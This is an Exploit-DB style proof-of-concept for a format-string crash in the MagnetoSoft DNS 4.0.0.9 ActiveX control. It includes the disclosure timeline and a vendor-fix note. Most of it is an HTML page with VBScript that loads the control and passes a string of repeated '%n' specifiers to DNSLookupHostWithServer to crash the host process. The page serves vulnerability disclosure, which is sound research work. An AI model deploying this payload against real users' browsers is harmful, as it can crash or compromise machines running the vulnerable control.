MagnetoSoft DNS 4.0.0.9 – ActiveX DNSLookupHostWithServer (PoC)
<html> <object classid='clsid:B5ED1577-4576-11D5-851F-00D0B7A934F6' id='target' /></object> <script language='vbscript'> 'Magneto Software ActiveX Control ICMP Crash POC 'Discovered by: s4squatch 'Site: www.securestate.com 'Date Discovered: 02/11/10 'Vendor Notified: 02/02/10 --> NO RESPONSE 'Vendor Notified: 02/11/10 --> NO RESPONSE 'Vendor Notified: 02/17/10 --> NO RESPONSE 'Published 04/13/10 'www: http://www.magnetosoft.com/products/skdns/skdns_features.htm 'Download: http://www.magnetosoft.com/downloads/skdns_setup.exe 'SKNetResource.ocx 'Function DNSLookupHostWithServer ( ByVal strHostName As String , ByVal strNameServer As String ) As Long 'progid = "SKDNSLib.SKDns" arg1 = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n" arg2 = "defaultV" target.DNSLookupHostWithServer arg1 ,arg2 </script> # Exploit-DB Note: # According to MagnetSoft The exploit has been fixed in the latest version of the software,5.0.0.1. # The latest version that contains the fix can be downloaded here: # http://www.magnetosoft.com/www/downloads/win32/skdns_setup.exe |